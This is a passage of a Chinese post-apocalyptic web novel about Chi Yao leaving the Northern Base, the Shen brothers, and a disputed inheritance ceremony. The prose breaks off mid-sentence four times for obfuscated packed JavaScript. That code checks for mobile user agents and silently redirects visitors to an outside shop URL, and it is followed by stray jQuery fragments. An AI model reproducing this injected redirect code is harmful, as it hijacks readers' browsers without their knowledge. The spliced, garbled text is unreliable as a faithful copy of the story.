另一边,池遥和沈观离离开后,房间里再次剩下沈观宴和韩厢月两个人。 “你真的想好了吗?”沈观宴的神情有些烦躁,“我爸明显是在利用你,继承人的仪式只是一个幌子,重点是让你心甘情愿受制于首都研究所,你真的甘心变成实验品吗?还不如跟我们一起回饶城。” 韩厢月对池遥说出的内容完全真实,但却是经过他自行美化后的版本,沈父的原话高高在上,充满威胁。 “我已经想好了。”韩厢月朝沈观宴笑了笑,笑容温和无害,“和你们回饶城也很好,但是留在北方基地,我能做到更多事,说不定有一天就能帮上她的忙。” 看到韩厢月的表情,沈观宴不由打了个寒噤,脑海中浮现出韩厢月与沈父谈话时的模样。 一直以来,韩厢月都表现出一副温柔无害的模样,如同包容万物的暖风,然而,在沈父面前,他却褪去了一直以来无害的伪装,浑身气势陡然一变,变成一柄锐利的剑。 面对沈父高高在上的轻蔑态度,韩厢月在得知自己会成为继承人后,立刻端正态度,以与沈父平起平坐,不卑不亢的姿态开始谈判。 沈观宴第一次发现韩厢月的画饼能力十分出色,他一边适当透露天山的丧尸潮情况,一边不经意地展现自己身为高等丧尸的优势。 “高等丧尸具有操控和驱使普通丧尸的能力,正因如此,那位天山的高等丧尸才能成为丧尸王,发动丧尸潮。但我同样也是高等丧尸,只要我杀掉丧尸王,我同样也能胜任丧尸王的位置。基地也希望掌控全部丧尸的丧尸王是自己人吧?” 韩厢月学着霍云初优雅的姿态,不疾不徐地甩出自己的底牌。 他原本就善于思考和逢迎,读心能力又让他对沈父的想法了如指掌,不知不觉,就夺过了沈父的主导权,成为后半段谈话的主导者。 谈话结束时,韩厢月以韩家继承人的身份与沈父达成了合作,成为了盟友。 而他则将原本每周四天前往研究所的时间减少为每周两天,以高等丧尸的身份得到了沈父的支持,有了沈家的支持,即便他是高等丧尸,也能正当地继承家业,成为北方基地的掌权者。 沈观宴在脑海中回想一遍韩厢月和沈父的谈话,深觉韩厢月这人的可怕,听到韩厢月的话,沉默半晌,回答道。 “可是,池遥是旅人啊,她不会在这个世界久留,迟早要离开的。” 就算明天就能成为继承人,可韩厢月真正掌握北方基地的权力还需要时间,真的能帮上池遥的忙吗? 听到沈观宴的话,韩厢月沉默了许久。 “除了这个。我还能帮上什么忙呢?” 声音渐渐低弱下去。 与池遥和沈观宴都不同,韩厢月在身份上就与二人大相径庭,身为高等丧尸,他在本质上就与能力者不同,他没有办法成为旅人,也不具备穿越到其他世界的资格。 如果池遥真的离开了这个世界。 韩厢月......韩厢月没有任何办法。 “我真的很不知道要怎么办。”他的声音微微发抖,渐渐地,声音越来越轻。 他还能怎么办呢? 身为丧尸,他既无法与池遥保持太近的距离,又存有私心地希望能见到池遥的身影。 这是一个难解的死局。 池遥入睡得很晚,醒来时已经是中午了。 她换了一套不显眼的衣服,走出沈家宅邸,避开交错的佣人,独自离开。 白天的北方基地内部一派祥和景象,池遥沿着大路慢慢朝着出口的方向走,准备独自一人离开这里。 只是,离开北方基地后,回去饶城基地,要怎么向等候的心悦说明卢淼等人的情况呢? 一想到这里,她心里又狠狠揪紧了。 直到现在,她仍旧无法平静地看待霍云初变成了要发动丧尸潮的丧尸王的事实。 “等等!” 身后传来熟悉的喊声。 池遥回头看去。 一辆白色轿车飞驰而来,经过她身边时一个急刹车,从半降的车窗玻璃,池遥看到了林北辰的脸。 “林北辰?” 与平日里不同,平时林北辰一直乘坐巡逻队的面包车,身边全部都是巡逻队的队员,但此时,他穿着一身休闲装,独自一人开着自己的私人轿车,气质不再那么咄咄逼人。 只是,想到他以前做的那些事,池遥很难对他改观。 “你现在就要走了?”林北辰直接将车子停在路边,从车里下来,来到她身边。 池遥点点头,继续向前走,林北辰立刻跟上来,与她并肩一同向前走。 气氛奇怪极了。 池遥对林北辰这个人没什么好印象,更抗拒和他单独接触,可林北辰现在看起来又很正常,没有以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867833|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前那种疯劲,她担心自己表现出抗拒的情绪反而会激发对方的逆反情绪,就没说话,默许他跟着了。 “......不多留一段时间吗?” 林北辰踌躇一会儿,放缓语气。 听到他这话,池遥狐疑地侧过脸看他,她根本想不到这略带请求的话语出自林北辰口中。 “你是很稀有的治疗能力者,基地的医疗条件不太好,有大量居民需要你的帮助,如果你能留下来,基地给的补助不会少。而且,沈观宴给你的通牒是最高等级的,只要留在北方基地,你就能获得不输我们的最高待遇,你真的不再考虑一下吗?” 池遥很少听林北辰说这么长一段话,但听到林北辰的话语内容,她也渐渐明白过来。 “你是来当说客的吗?” 林北辰的话,字字句句都站在北方基地的立场上。 按照他的性格,绝对不会说这种话,但如果是他的上级命令,又或者是北方基地的其他掌权人要求,他也只能照做了吧? “你非得要离开吗?” 林北辰没有回答她的问题。 “唔......”池遥思考一会儿,反问道,“如果我执意要离开的话,你会阻拦吗?” “不会。” 池遥在心中松了口气。 “只是,池遥,北方基地是现在H国北部最大的基地,你想要的一切这里都可以满足,我实在不能理解,你为什么非走不可。”林北辰这一次的话明显发自内心,“你到底想做什么?” “我想做的事情,一直都没变过啊。”池遥叹了口气,回望林北辰的眼睛,“咱们第一次见面的时候我不就说了吗,我在找我的朋友,一直没找到呢。” 林北辰哑口无言。 他当然记得池遥起初给他看的寻人启事,可他实在没放在心上,不仅如此,他也无法理解,为什么池遥愿意在这种没有结果的事上花费几个月,甚至更长时间。 “你找了这么久,一直没找到吗?”他问。 池遥点点头。 “你有没有想过,你的朋友可能丧命了?” “那至少也要找到死讯吧?” 池遥没好气地回了一句。 林北辰还有很多话要说。 他本可以说,得知死讯的人也全丧命了;你的朋友也有可能变成丧尸了;到底为什么要对没结果的事那么执着,等等扫兴的话,这是他一贯擅长的事。 但他盯着池遥明显有些失落,焦虑,担忧的脸,最终还是咽下所有的话。 “如果你没有其他事,我就走了。”池遥将他赶回了车里。 见劝阻池遥无果,林北辰也只能转身回车上,驾车离开了。 池遥独自一个人沿着街道独自向前走,快走到基地出口时,再次看到一个熟悉的人影。 沈观离穿着一件质地轻薄的黑色衬衫,站在出口附近,似乎已经等候许久了。 见到池遥,他立刻朝着池遥的方向走了过来。 “你也是来劝我的?”池遥问他。 “不是。” 身形清瘦高挑的青年摇摇头,声音很轻。 “我是来请求你的。” “这一次,总可以带我走了吧?” 118. 北方基地6 “诶?” 池遥不敢相信自己的耳朵。 “带你走?” 上一次,在黑市相遇时,沈观离同样提出了这个请求,那时,池遥毫不犹豫地拒绝了。 “上次,你说你和同伴没有去处,但这次却迫不及待地要离开,想必是已经找到好的驻地了吧?” 沈观离和她想到了同一件事。 他说的没错,池遥的确已经找到了新的驻地,如果非要带上沈观离一起离开,倒也不是不行。 可最大的问题就是,池遥所在的饶城基地真正的领袖是沈观宴啊! 他们兄弟俩关系似乎有些芥蒂,想象一下,如果池遥真的把沈观离带走,到时候兄弟两人在饶城基地大眼对小眼,场面想必会非常尴尬。 可是,她之前已经拒绝了沈观离一次,这次他再一次提起,她该找什么理由拒绝呢? “我的确找到了新的住处。可是我不理解,你在北方基地的身份不低,为什么执意离开呢?” “你应该已经发现了吧,其实我在沈家的地位并没有看上去那么高。就算我是明面上的继承人,那也只是末日前的决定,眼下沈观宴的实力比我更强,他的性格也比我更适合做家主,我只是个无关紧要的人,没必要赖在北方基地里。” 沈观离靠近了池遥一点,放低了声音,小声说道。 池遥回想起自己与沈观宴有过的几次谈话,沈观宴看起来根本不想当家主。 这别扭的两兄弟,都打心眼里觉得另一位才是更完美的继承人。 他讲的话不能被第三个人听到,在人来人往的出口处,只能凑近池遥耳边,用一种在外人看来略显暧昧的距离娓娓道来。 只是,沈观离作为沈家少爷,行走在基地出口附近的人们大多熟悉他的外表,见他和一个年龄相仿的异性站在一起,又靠得那么近,二人之间对话的姿态又不像普通朋友,似乎有情况,不由地多看几眼。人都是八卦的,几乎每个路人都会投来好奇的视线。 “我们换个地方说吧。” 沈观离立刻意识到了二人过于亲密的距离,后退了一步,礼貌地牵起池遥的袖口向反方向走去,池遥跟在他身边,才发现他脸色仍旧苍白,耳垂却略微透着淡淡的一层粉。 换了条偏僻的小路,路上只剩他们两人,沈观离才再度开口。 “如果以后沈观宴当了家主,我留在北方基地,反而会妨碍到他,而且......”说到这里,他的话音止住了,顿了一会儿,才重新开口,“总之,我真的很希望你能带我离开。” 他的语气不算坚定,池遥听了一会儿,忍不住问道。 “昨天韩厢月和你父亲的谈话,你在场吗?” “我不在。” 沈观离沉默了一会儿,开口补充。 “在今天之前,我病得很严重,已经有很久没离开过房间了,今天还是这段时间第一次下床。” 是池遥凌晨时给他输送了一些能力,才让他支撑到现在。 只是,池遥昨天使用能力的时候顺便检查了一下他的身体,似乎并没有感受到什么病症。 但她的能力只能检测到一些严重的病灶,也无法治疗疾病,也许是她的能力不够强,才没有感受到。 “那你大概还不知道,我们是从北方的天山回来的。”池遥把丧尸潮的事告诉他,“天山有一位高等丧尸,它聚集了几乎整个北方区域的所有丧尸,准备发动一场丧尸潮。北方基地规模这么大,不可能置身事外。” 这个时间点,沈观离留在北方基地才是明智的选择。 “如果你真的想和我一起离开的话。”池遥思考了一会儿,“我可以带你离开,但是给你一天反悔的时间,反正沈观宴明天参加完韩厢月的仪式就会离开,我晚一天和他一起离开也不是不行。明天离开以前,你随时可以反悔。” “谢谢。”沈观离点点头,“那你今天有什么安排吗?” 池遥摇摇头,她原本计划今天就离开这里,现下根本没有安排。 “不介意的话,我们在基地里走一走可以吗?”沈观离问。 池遥自然不会拒绝。 于是,沈观离掏出对讲机,报出地址,让司机开车过来,没几分钟,就有一辆看上去十分朴素的黑色轿车停在二人面前,是池遥认识的一个性价比很高的平价牌子,沈观离让司机离开,让池遥坐上副驾驶座后,自己坐上了驾驶位。 “这是我名下的车,我开车带你四处看看,可以吗?” 沈观离问她。 池遥点点头。 来到北方基地以来,她只见过基地内最繁华的中心区域,其他区域还没有看过。 车辆向前行驶,车窗外繁华又安逸的景象渐渐变得破败,陈旧,混乱。 池遥注意到,即便是干净整洁的中心区域,街道上的车辆也不多,等到出了中心区域,几乎就再也看不到车辆了。 似乎只有位高权重,或者身份特殊的人才有实力开车上路,譬如林北辰,譬如沈观离。 “住在首都中心区域的人非富即贵,每家每户都有好几辆车。”沈观离解释了池遥的疑惑,“只是汽油是非常稀缺的资源,有能力弄到汽油的人不多。” 沈观离说得没错。 没有了车辆,马路两侧大多是行人的影子,偶尔有几个骑自行车的身影,但更多人采取步行赶路的方式。 只是,宽敞平整的马路上若是没有车辆行驶,总显得有些破败和荒凉。 时不时,还能看到路边荒废许久的车站牌,出了中心区域,站牌上堆叠的小广告无人清理,在地上积聚了一小撮,强风吹过时,就被卷在风中飘走了。 路边的每一个角落都堆放着臭气熏天的垃圾,时不时能看到干瘦,麻木,衣衫褴褛的人影。 这才是中心区外,北方基地大部分普通民众的生活。 没有钱财与权力粉饰,底层民众的生活直白地展现在池遥面前。 池遥起初靠在座椅上,大部分时间目视前方,时不时扭头看马路两侧,渐渐地,整个身体都扭到侧面,趴在车窗上紧盯着车外的景象,目不转睛。 “第二次变异潮前后发生了不少事,又赶上严冬和寒潮,今年开春比较晚,资源很紧张,掌权几家的主要资金都投给了首都研究所,普通居民的生活越来越不好过了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16871697|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈观离在她身边叹了口气。 起初,发现马路边有车子驶过时,路边的行人还会本能地抬头看一眼,渐渐地,路上的人影越来越少,越来越憔悴,就算有车辆驶过也只麻木地做自己的事。 不知过了多久,车子在北方基地另一侧,几乎没人居住,一片荒凉的小区停下了。 远远看去,能看出这个小区虽然位置偏僻,但在末日前也是基础建设十分优越的小区,里面都是联排小别墅。 沈观离停在联排别墅中的一幢别墅前,示意池遥跟上他。 “这是我买下的第一栋别墅。”他找出钥匙,打开门,习惯性地按动门口的电灯开关,按了几下也毫无反应,他才反应过来。 “抱歉,基地的资源不供应到这里,现在是断水断电状态。” 他先行换鞋进入房间,将一双对于池遥而言十分宽大的黑色拖鞋放在池遥脚边。 池遥换上不合脚的拖鞋,趿拉着拖鞋走进别墅,打量着周围的环境。 客厅的装潢简约大气,没什么特点,但也不过时,和样板房没什么区别。这里因长期无人居住,房间里的家具上落了薄薄一层灰,但家具看上去还算新,保存得也很好,足以看出主人对这个小家的爱惜。 沈观离回到家后,用空间吊坠里的水打湿毛巾,擦去沙发表面的灰尘,让池遥坐下。 “如果你不介意的话,今晚可以先住在这里。”他轻声开口。 别墅面积不大,只有两层,一层是客厅和厨房以及一间电脑房,二层是两间卧室和一间书房。两层各有一个卫生间。 “这间房是客房,你觉得这里可以吗?” 池遥打量了一下面前的房间。 这是整个二层最大的房间,二层的卫生间也在这个房间旁边,完全就是主卧配置,沈观离却将这间房当成了客房。 沈观离在整理完客厅后,先整理了池遥的客房,才去整理他的房间,池遥去他的房间看了一眼,发现沈观离的卧室相较于客房,反而显得更加寡淡。 二人在各自的房间里各自休息了一会儿,很快迎来了新一个黄昏。 两人沐浴着黄昏的微光,一同来到客厅里,柔和的光晕透过窗户洒在客厅的地面上,随着二人的动作漫到他们身上。 在这样祥和,安逸,平静的黄昏里,池遥扭头看向身后的人,问出了一个最为平常的问题。 “今晚吃什么?” 沈观离露出了有几分呆滞的神情。 他似乎很少主动思考如此生活化的问题,一时有些愣住了。 “别墅里的煤气好像也停了......” 半晌,他嗫嚅道。 “我空间里有方便面和铁锅,还有打火机,我们去院子里生火煮方便面怎么样?” 池遥已经拉着他的袖子,带着他出了门。 沈观离被动跟在她身后,凝视着她的背影。 铁锅很快就被架起来,锅里的水发出咕噜咕噜的声音,池遥一边撕开调料包,一边问他。 “沈观离,你可以吃辣吗?辣包要放多少呀?” 青年定定地看着她的脸,没有接话。 119. 北方基地7 池遥拿着方便面调料包等了一会儿,见他没接话,就自顾自地做决定。 “那就少放一点吧,这样不太能吃辣的应该也可以吃。” 从起锅生火开始,她的动作就无比娴熟,她在上一个世界就经常使用这口锅,早就对一系列操作驾轻就熟了。 反倒是沈观离在一旁看着,有些惊奇。 他的家境让他无论身处什么环境,都能保持不为食物发愁的生活,这种有些原始的烹饪方式沈观离虽然在经过平民区的时候见过几次,但真的亲自上手体验还是第一次。 他局促地站在池遥身后,想要主动帮忙,又不知道是否会妨碍到她。 只是煮个泡面而已,其实并不需要帮忙。 “你家里有碗筷吗?”池遥问沈观离。 “有的。”沈观离立刻转身去厨房里找碗筷,等他带着两副擦洗干净的碗筷出来时,泡面的香气已经弥漫了整个院子。 二人分别抱着一碗热腾腾的泡面回到餐桌前,池遥顺便把铁锅刷干净收回空间吊坠里,一切收拾妥当,才正式开动。 此时,窗外的天色已经彻底黑沉下去,今晚的夜色十分沉静,连星星都没有几颗,桌上的充电式小台灯发出柔和的光芒,二人相对而坐的身影映在墙面上。 池遥端着碗喝掉最后一点泡面的汤汁,沈观离还坐在她对面,动作优雅地吃面。 他吃泡面时会先用筷子将面条一圈圈卷在筷子上,避免汤汁飞溅,再慢吞吞地送进口中,只吃面,不喝汤,十分浪费。 真是少爷做派啊。 池遥看了他一会儿,拿着空碗先行进了厨房,却听到沈观离的声音。 “碗放着就好,一会儿我来刷。” 池遥就听从了他的话。 客厅的真皮沙发十分柔软,等沈观离洗过碗,池遥抱着靠垫,将自己整个人嵌进沙发里,舒坦地叹了口气。 “你看,你留在北方基地的话,沈家的资源丰厚,你还可以时不时回自己的房子看看。如果和我一起回了我的基地,恐怕不会有这么好的居住条件了哦。” 闻言,沈观离扭头看向她,目光闪烁一瞬,微微张口,似乎想说些什么,但不知为何,最终选择了沉默。 沈观离性格很柔和,但也略显沉闷,不会主动找话题,两人共处于同一空间之内,共同享受来之不易的闲暇时光,他身上似乎有一种独特的气氛,能将池遥从眼下一片混乱的现状中抽离出来,放空大脑,什么也不想地坐在他身边发呆。 到了该入睡的时间,两人都没有上楼。 沈观离的小台灯仅存的电量彻底耗尽,池遥从空间里找出一枚迷你的香薰蜡烛,在光线昏暗的客厅里燃起一点细微的幽光,随之逸散到鼻腔的是细微的甜香味。 一片昏黑之中,失去了光源,无事可做,两人都不是主动开启聊天话题的人,相互保持沉默。可不知为何,两人却默契地留在客厅里,迟迟没有分开。 直到凌晨,香薰蜡烛也彻底燃尽,池遥才站起来,朝着楼上走去,很晚才沉入梦乡。 前一晚在沈家宅邸就没有睡多久,今晚又熬了夜,第二天,池遥又一次在午后醒来。 沈观离早已倚靠在客厅沙发上,手执一本书边看边等她,餐桌上放着一杯温水和一块压缩饼干,似乎是沈观离为她准备的早餐。 好普通的一个早上。 池遥带着这种有些奇异的心情坐在餐桌边,边吃边望不远处沈观离的身影。 看了一会儿,她才发现,沈观离的视线似乎并没有集中在书页上,他的眼睛一直注视着同一处,目光有些发直,感受到池遥的目光后,他的眼神又欲盖弥彰地左右游移了一番。 他似乎有心事。 池遥与沈观离的关系毕竟不像和其他人一样熟悉,不好直接问,只能当做没发现,几口吃掉早餐,来到沈观离面前。 “睡得好吗?”沈观离放下书,目光柔和地落在她身上。 “很好,我想看看你手里的书,可以吗?”池遥指向他手里的书。 来到这个世界后,她还是第一次接触本土书籍,此时接过沈观离手里的书,仔细检查一番后发现,这个世界的书籍果然与故乡的书籍毫无区别。 “你如果喜欢读书的话,可以去书房看看有没有喜欢的书。” 沈观离的书房有一整面墙的书架,如同一个小型图书馆,但书籍量不多,只占据了书架一排。 “我买下这个房子不久后,丧尸就爆发了。”他轻声解释道。 怪不得,这幢别墅里的陈设看起来很像样板间。 池遥在仅有一排的书籍中挑选一番,挑中两本书,沈观离却又挑出几本书,放在桌面上。 “这两本书送给你,我大概以后都不会回来这里了,你可以再多拿一点,这些也都是很好的书。” “可以吗?”池遥没有拒绝沈观离的好意,将他挑选出的书也一同收下。 简单整理后,二人一同离开了别墅,沈观离的车就停在不远处。 要离开了。 池遥看了一眼手表,已经是下午了。 “韩厢月的继承仪式大概什么时候结束呢?”池遥问身边的人,“现在应该已经结束了吧?” 沈观离也看了一眼表。 “从这里开车到基地出口大概一个小时,等我们到出口的时候,他们肯定已经结束了。” “那就好。”池遥点点头。 她侧过脸,将脑袋靠在车窗上,观察起路边的景象,偶尔会回过头,看一眼沈观离。 一次回头,她的目光捕捉到沈观离的喉结微微滚动一下。 一个小时后,车子停在基地出口处,池遥先行下车,看到沈观离坐在驾驶座上检查了一会儿仪表盘,才熄火,下了车。 放眼四周,没看到沈观宴的身影。 她昨天决定延迟一天离开时已经和沈观宴约好一起离开,看来是他还没赶到,池遥叹了口气,打量周围,寻找一个方便观察四周的位置。 “池遥小姐。” 沈观离的声音很轻,骤然在她身后响起。 池遥扭过头,看着沈观离的眼睛,才发现,此时沈观离的神色复杂极了,盯着她的目光比以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880448|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往都要炽热些,可他本身就不是一个热烈的人,对他而言炽热的情绪在池遥眼里也像是将熄的火星。 与沈观离目光相对,池遥清晰地注视到,沈观离眼中那一小簇火星正一点点熄灭,最终只剩下了海水一样黑沉,压抑的歉意。 “抱歉,池遥小姐。”再次开口时,他的声音有些发哑。 “为什么道歉?” “真的很感谢你给了我一天考虑的时间,我真的很想和你一起离开。”他的语气恳切又悲伤,“但是,昨天听你说了丧尸潮的事,我担心......” “还是放不下北方基地吧?”池遥了然地问他。 “真的很抱歉。” 他似乎全然不知该怎么办,只能语无伦次地道歉。 “没事的。”池遥已经预见了这种结果,沈观离主动放弃,她心里虽然有点遗憾,但也小小地松了口气,她实在不想把沈观离带到沈观宴的基地里去。 作为沈观宴的朋友,沈观宴似乎不太待见他这位哥哥,沈观离对沈观宴的态度也有些复杂,池遥不太想把这对别扭的兄弟凑在一起。 “既然你已经决定了,就先回去吧,我自己在这里等沈观宴就好。” 沈观离的视线再次垂了下去,有些无力地扯起嘴角。 “是的,我得回去和父亲他们商议丧尸潮的措施,确实现在就要回去了。”他这么说着,拿起对讲机叫了沈家的司机过来,池遥不太理解他的动作,又听他继续说道。 “但是,池遥小姐,这辆车是我的个人资产,和沈家无关,油量是满的,你和沈观宴离开的时候把它开走吧。” 他态度略显强硬地将手中的车钥匙塞进池遥手中,语气却带着恳求之意,让池遥无法拒绝。 沈家的司机似乎就在附近,没几分钟就开车过来,把沈观离带走了。 池遥留在原地,盯着眼前的车子,有些晃神。 沈观离实在过于细心,她和沈观宴的车子已经报废在天山脚下,眼下确实没有车子,虽然饶城基地距离北方基地不远,但若是不开车,也要走上好几个小时才能到达。 只是,池遥终究对开车还是不太熟悉,刚刚她不是没注意沈观离开车时的操作,但看起来和霍云初开车时的操作步骤差别很大,复杂了不是一点半点,只能在原地攥着车钥匙,等沈观宴来。 既然沈观离将自己的车留给她,一定是确保沈观宴能开这辆车的吧? 在原地等了半天,还是没看到沈观宴的身影,池遥有些无聊,朝着出口处走了几步,想先看看离开基地的流程。 “池遥!” 身后传来了熟悉的声音,沈观宴终于来了。 只是,他似乎是一路奔跑到基地出口处的,身上的西装领子都多了几分褶皱。英俊的眉眼拧成一团,脸色极差,似乎压抑着怒火,一把攥紧池遥的手腕。 “我们走吧,离开这里!再也不回来了!” 不等池遥回答,他就大步向前,仿佛逃离什么东西似的,强行拉着池遥走进基地出口。 神色阴沉,态度坚决,一次也没有回过头。 120. 北方基地8 作为沈家的小少爷,出口处的工作人员都认得沈观宴,见他急着离开,立刻放行。 不过几分钟,池遥就跟着沈观宴到了基地外。 “等等!”被他拽着胳膊拖了一路,池遥总算忍不住了,一把甩开他的手。 “车!沈观离送了我们一辆车!起码回去把车开着再离开吧!” “不必了。”被池遥一打岔,沈观宴找回了些理智,但表情却更加沮丧了些,“饶城基地也不远,不需要开他的车,我们走吧。” 车钥匙还在她手里呢。 池遥为难地蹙起眉头,眼前的沈观宴不知道遭遇了什么,状态很消沉,此时不适合与他争执车的事情。 “仪式上发生什么事了?”思考片刻,她问沈观宴。 沈观宴迟疑片刻,还是将刚才的经历讲给她听。 沈观宴一天都不想在北方基地多待,只想早早回到饶城基地,那里才是他真正的归属。 只是,在旁观韩厢月与父亲谈话时,沈父强调韩厢月的继承仪式时,看向了沈观宴。 “他的继承仪式上,我也有重要的事情宣布,你和沈观离务必到场。” 沈观宴不知他要宣布什么事,但见父亲神色严肃而凝重,犹豫半晌,还是同意了。 另一边,沈观离虽然长期卧病在床,但想必也接到了父亲的通知,作为家族继承人,他一向不会缺席对外活动。 到了继承仪式当天,沈观离和回到韩家的韩厢月先行集合,一同去往酒店场地,没有和沈家人一同出发。 以他对沈观离的了解,这种大事沈观离不可能缺席。 然而,直到仪式开始,沈观宴都没有看到沈观离的身影。 他没来吗? 怎么可能? 脑海中不好的预感越来越真切,沈观宴余光瞥见神色透着隐隐怒火的父亲,心中咯噔一下。 韩厢月的继承仪式进行得很顺利,他有韩家和沈家两个掌权家族在背后支持,尽管身为高等丧尸,难免会受到不平等对待,但他身后的势力过于强大,能参与这场继承仪式的宾客都是人精,没人会主动招惹沈家扶持的人。 到此为止,整个继承仪式都朝着沈观宴预想的方向发展,他在心中松了一口气。 然而,韩厢月从台上走下来,离开会场后,台上的聚光灯却陡然转移到了沈观宴的身上。 所有宾客的目光齐齐看向他。 什么情况? 不好的预感隐约要破开胸膛,沈观宴压下眉头,睡在身边的手用力攥紧了西装裤口袋。 “今天,我还有一件非常重要的事要公布。” 沈父步伐沉稳地走上台,目光直直看向站在最前排,最引人注目的沈观宴。 “沈家的继承人在一年前就定好了,原本是长子沈观离。但是这一年我们经历了丧尸,能力者诞生,北方基地的建立,种种灾难,都不是当时生活在和平社会的我们能够预料到的。” “这一整年,我无时无刻不在反思,当初定长子为继承人的决定,是否有些草率了。” “今天,趁着韩家公布继承人的仪式举办,也请允许我来掺一脚。我再次宣布,沈家原定的继承人沈观离,从此剥夺继承人身份。” “沈家新的继承人是——我的次子沈观宴。” 一瞬间,灯火通明的厅堂里,响起了仿佛早已设置好的掌声。 巨大的,足以掩盖他心中所有心理活动的掌声在耳畔炸响,沈观宴愣愣地站在原地,不可置信。 怎么可能? 他父亲怎么可能会把继承权转送给他? 周围都是为他高兴的掌声,时不时还有地位身份比他低的人的奉承。 沈观宴的脸色却一片煞白。 他看向周围,周围这一圈围绕着他的人,全部都是掌权家族的成员,那仿佛为他好,为他高兴的神色,看得沈观宴有些反胃。 这些人,表情中没有一点惊讶,难道他们在仪式开始之前就已经知道父亲要说的内容了吗? 可是,这并非他所愿啊。 还有沈观离,他为什么缺席? 难道他也是提前知道这一切,所以没有出现吗? 沈观宴身体僵在原地,无法做出任何反应,脑海中却在飞速思考,从脑中飞速掠过的每一个问题都让他更加愤怒。 难不成,他才是这个继承仪式上唯一一个被蒙蔽的人? 他的目光从周围的一张张笑脸上扫过,恍惚之间,这些过去无比熟悉的人仿佛变成了一具具只有外表熟悉的皮囊,他看不太清皮囊底下的东西。 也不想看,不愿看。 他只想立刻,马上,离开这个地方。 不止是继承仪式所在的酒店,更是整个北方基地。 再也不回来。 “我不接受。”他深吸一口气,夺过他父亲的话筒,“沈家的继承人只会有一个,就是沈观离。我一直都没觊觎过这个位置,也不想接受!” “我不会再留在北方基地了。这个继承人谁爱当谁当吧!” 丢下狠话,沈观宴夺门而出,直直走过自家的车子前,朝着基地出口走去。 身后传来脚步声,不知道是不是有人追了出来,他心中突然产生一种隐秘的恐惧感,步伐越来越快。 到最后,他干脆朝着基地出口跑了起来。 要快一点离开这里。 他一分一秒都不想留在这个地方了。 见到池遥,他心中总算踏实了些,立即拉着池遥离开基地。 池遥微微蹙起眉,听着沈观宴的描述。 “可是,我不太明白,你为什么这么抗拒继承人的身份?” 站在池遥的立场上,她不太理解沈观宴的心情。 “因为,从小到大,我被灌输的理念一直都是,只有他沈观离是家族继承人,我什么都不是。” 沈观宴的声音很沉闷。 缓和了一下情绪,他深深叹了口气,与池遥一同在基地外的幸存者聚集区内找了个无人的角落,并排坐在长椅上,讲述起自己的经历。 从出生开始,沈观宴似乎就被当成排在沈观离之后的备选。 沈观离是早产儿,出生后很长一段时间被放在保温箱中,先天体弱,一直大病小病不断,最后干脆被送进医院长期住院,没人可以断定他长大后病情是否会好转,是会变成优秀的家族继承人,还是会被病痛夺走生命,一切皆有可能。 在这样的情况下,沈观宴出生了。 沈观宴出生后,沈观离的身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884007|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也逐渐好转,渐渐不必长期留在医院,他生性安静内敛,乖巧懂事,而沈观宴则正好相反,他具有那个年龄段的小孩子的通病,闲不下来,极具好奇心,对世界上的一切事物都感到好奇。 然而,不知是幸运还是不幸,他偏偏和安静内敛到反常的沈观离是兄弟。 小时候,沈观宴最常听的一句话就是“你就不能学学你哥哥吗?” 无论做什么,都会被父母,家人,外人,甚至是新闻媒体与各方面优秀到恐怖的兄长对比。 沈观宴闯祸时,会听到父母无意中的叹息。 “小的还是比不过大的听话懂事啊。” 即便是努力考到全校第二名,也不会得到任何夸奖,因为哥哥从小到大就是全校第一,从未改变过。 沈观离的名字像一座大山,沉甸甸地压在他的脊柱上,把小小的孩子压得说不出话。 渐渐的,兄弟两人的人生轨迹也走向了不同的分岔路。 沈观离接受精英教育,被送进了最好的学校,成绩永远优异,性情永远温和,从不自大,挑不出任何缺点。 沈观宴被家族放弃,接受放养教育,进入了学费高昂的私立学校,父母不再过问他的成绩,不再将他与兄长做比较。 可是,他在家中的存在感也越来越低,提到沈家的孩子,所有人第一时间想到的都是沈观离的名字,沈观离太过优秀,感叹好一会儿,才能想到沈家还有个普普通通的小儿子。 